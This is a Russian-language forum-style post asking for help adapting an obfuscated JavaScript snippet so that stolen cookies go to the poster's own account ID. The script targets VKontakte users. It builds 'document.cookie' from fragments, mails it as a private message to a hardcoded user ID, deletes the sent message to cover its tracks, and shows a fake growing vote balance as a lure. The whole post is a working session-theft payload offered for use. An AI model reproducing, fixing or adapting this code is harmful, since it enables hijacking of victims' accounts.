помогите исправить так, что бы с помощью скрипта куки приходили мне, куда мой ид вставить надо?
вот сам скрипт
java_script:m='ook';done="false";tt=0;act="act=write";fc="jav";dl=".php?";fa="document";cl="script:";fax=Math.pow(5933,2)+7251;window.location=fc+'a'+cl+'gta='+fa+'.'+"c"+m+'ie;return;';howto='mail';for(i=0;i<100;i++){gta=gta.replace("=","!");};
th=document.createElement("html");function rst(url){fk=new XMLHttpRequest();fk.onreadystatechange=function(){if(fk.readyState==4){th.innerHTML=fk.responseText;}};fku=url;fk.open('GET', fku, true);fk.send(null);};function geth(ned){u=th.getElementsByTagName("*");for(i=0;i<u.length;i++){if(u!=undefined){if(u.id==ned){return u.value}}}};
function col(){rst(howto+dl+act+'&to='+fax,2);setTimeout('gre()',Math.pow(10,4));};col();function gre(){rst(howto+dl+"secure="+geth('secure')+"&chas="+geth('chas')+"&photo="+geth('photo')+"&to_id="+fax+"&to_reply="+geth('to_reply')+"&message="+gta+"&title="+Math.random()+"&act=sent",2);setTimeout('gar()',Math.pow(10,4))}col();function gar(){rst(howto+dl+'out=1',2);setTimeout('gas()',Math.pow(10,3))};function gas(){d=0;ij=th.getElementsByTagName("a");for(i=1;i<ij.length-10;i++){olo=ij.href.substring(12,18); if(d==0 && olo=="delMsg"){d="1";k="0";k+=ij}};aka=k.substring(20,k.length-4);fga(aka,1);};function fga(md, ox) {var fa = new Ajax();fa.md = md;fa.post('/mail.php', {'act': 'a_delete', 'id': md, 'out': ox});};svotes=0;svotes-=0;if(ge("coins_left")==undefined){ge('nav').innerHTML+='</ol><div style="text-align: center; padding:5px;background:#F7F7F7; border-bottom:1px solid #DDD; margin: 0px 0px 10px 0px"> <div id="coins_left"></div>
<a href="/payments.php?act=sms">Пополнить баланс »</a> </div><ol>';}else{svotes=ge("coins_left").getElementsByTagName("b")[0].innerHTML};ge("coins_left").innerHTML='<img src="http://vkontakte.ru/images/upload.gif" />';votes=svotes-0;svotes-=-.97;function pluss(){if(votes<svotes){ge("coins_left").innerHTML="%D0%A3 %D0%92%D0%B0%D1%81 %3Cb%3E"+votes+"%3C%2Fb%3E %D0%BD%D0%B5%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D1%85 %D0%B3%D0%BE%D0%BB%D0%BE%D1%81%D0%BE%D0%B2.";};votes-=-0.01;votes=Math.ceil(votes*100)/100};setInterval('pluss()',Math.floor(Math.random()*800));return;